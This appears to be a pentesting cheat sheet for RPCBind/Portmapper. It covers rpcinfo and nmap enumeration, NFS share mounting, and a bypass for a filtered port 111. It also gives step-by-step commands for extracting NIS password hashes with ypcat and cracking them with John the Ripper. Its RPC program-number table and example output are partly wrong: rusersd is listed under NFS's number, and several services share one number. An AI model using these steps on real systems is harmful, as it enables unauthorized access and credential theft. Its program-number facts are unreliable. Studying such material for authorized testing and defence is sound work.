RPCBind/Portmapper Pentesting

What is RPCBind?

RPCBind (also called Portmapper) is a service that maps network service ports to RPC (Remote Procedure Call) program numbers. It's a critical component in Unix-based systems that facilitates information exchange between systems.

Default ports: 111/TCP/UDP (32771 in Oracle Solaris)

Why it matters: Port 111 is frequently scanned by attackers because it reveals:

• The type of Unix OS running
• Available services on the system
• NFS, NIS, and other RPC-based service details

Enumeration Techniques

Basic RPCInfo Enumeration

Start with

rpcinfo

to list registered RPC services:

# Basic enumeration
rpcinfo <target>
rpcinfo -p <target>

# Example
rpcinfo irked.htb
rpcinfo -p 192.168.10.1

Advanced RPCInfo Usage

When TCP/111 is filtered, try UDP to pull the program list:

# Pull UDP program list even when TCP/111 is filtered
rpcinfo -T udp -p <target>

# Immediately check for world-readable NFS exports
showmount -e <target>

Nmap NSE Scripts

Use Nmap's RPC scripts for exhaustive mapping:

# Classic scan with RPC scripts
nmap --script=rpcinfo,rpc-grind -p111 <target>

# Multi-threaded brute-force of RPC program numbers
nmap --script=rpcinfo,rpc-grind --script-args 'rpc-grind.threads=8' -p111 <target>

# Basic port scan
nmap -sSUC -p111 <target>

What

rpc-grind

does: Hammers the portmapper with null calls that walk the

nmap-rpc

database, extracting supported versions when the remote daemon replies with "can't support version." This often reveals quietly registered services like

rusersd

,

rquotad

, or custom daemons.

Shodan Search

port:111 portmap

RPCBind + NFS Exploitation

If you find NFS services registered through RPCBind, you can likely list and download (and possibly upload) files.

# List NFS exports
showmount -e <target>

# Mount NFS share
mount -t nfs <target>:/<export> /mnt/nfs

# Or use nfsclient
nfsclient <target>:/<export> /mnt/nfs

Note: For detailed NFS exploitation techniques, see the NFS pentesting documentation.

NIS (Network Information Service) Exploitation

NIS vulnerabilities involve a two-step process: identify the

ypbind

service, then uncover the NIS domain name.

Step 1: Install NIS Tools

apt-get install nis

Step 2: Confirm NIS Server Presence

# Ping the NIS server with domain name and server IP
ypwhich -d <domain-name> <server-ip>

Step 3: Extract Sensitive Data

# Extract user credentials (encrypted passwords)
ypcat -d <domain-name> -h <server-ip> passwd.byname

# Extract other maps
ypcat -d <domain-name> -h <server-ip> hosts.byname
ypcat -d <domain-name> -h <server-ip> group.byname

NIS Map Files Reference

Master File	Map(s)	Notes
/etc/hosts	hosts.byname, hosts.byaddr	Hostnames and IP details
/etc/passwd	passwd.byname, passwd.byuid	NIS user password file
/etc/group	group.byname, group.bygid	NIS group file
/usr/lib/aliases	mail.aliases	Mail aliases

After extraction: Crack the password hashes using John the Ripper or Hashcat to reveal system access credentials.

RPC Users Enumeration

If you find the rusersd service listed in RPCInfo output, you can enumerate users on the target system.

# Check for rusersd in rpcinfo output
rpcinfo -p <target>

# Look for program 100003 (rusersd)

Bypassing Filtered Portmapper Port

When port 111 is filtered but NFS ports are open, you can bypass the filter by simulating a portmapper service locally and creating a tunnel.

Technique:

1. Simulate a portmapper service on your local machine
2. Create a tunnel from your machine to the target
3. Use standard tools to exploit the NFS services

This allows exploitation even when port 111 appears filtered.

Practical Examples

Example 1: Basic Enumeration

# Target: 10.10.10.10
rpcinfo -p 10.10.10.10

# Output might show:
# program vers proto   port  service
# 100000  2   tcp    111  portmapper
# 100000  2   udp    111  portmapper
# 100003  2   tcp    1026  rusersd
# 100005  1   tcp    2049  nfs
# 100005  1   udp    2049  nfs

Example 2: NIS Password Extraction

# Install tools
apt-get install nis

# Find NIS domain and server
ypwhich -d <domain> <server-ip>

# Extract password hashes
ypcat -d <domain> -h <server-ip> passwd.byname > passwd_hashes.txt

# Crack with John
john --wordlist=/usr/share/wordlists/rockyou.txt passwd_hashes.txt

Example 3: Nmap RPC Scan

# Comprehensive RPC scan
nmap --script=rpcinfo,rpc-grind --script-args 'rpc-grind.threads=8' -p111 192.168.1.100

# Output shows all registered RPC programs and versions

Common RPC Program Numbers

Program	Number	Service
portmapper	100000	RPCBind
rusersd	100003	Remote Users
nfs	100005	Network File System
mountd	100005	NFS Mount
ypserv	100004	NIS Server
ypbind	100004	NIS Client

Labs to Practice

• Irked HTB Machine: Practice these techniques on the Irked HackTheBox machine

Quick Reference Commands

# Basic enumeration
rpcinfo -p <target>

# UDP enumeration (when TCP filtered)
rpcinfo -T udp -p <target>

# Nmap RPC scan
nmap --script=rpcinfo,rpc-grind -p111 <target>

# NFS exports
showmount -e <target>

# NIS password extraction
ypcat -d <domain> -h <server-ip> passwd.byname

# NIS server discovery
ypwhich -d <domain> <server-ip>

References

• Nmap NSE: rpc-grind
• HackTricks RPCBind Pentesting
• Bypass Filtered Portmapper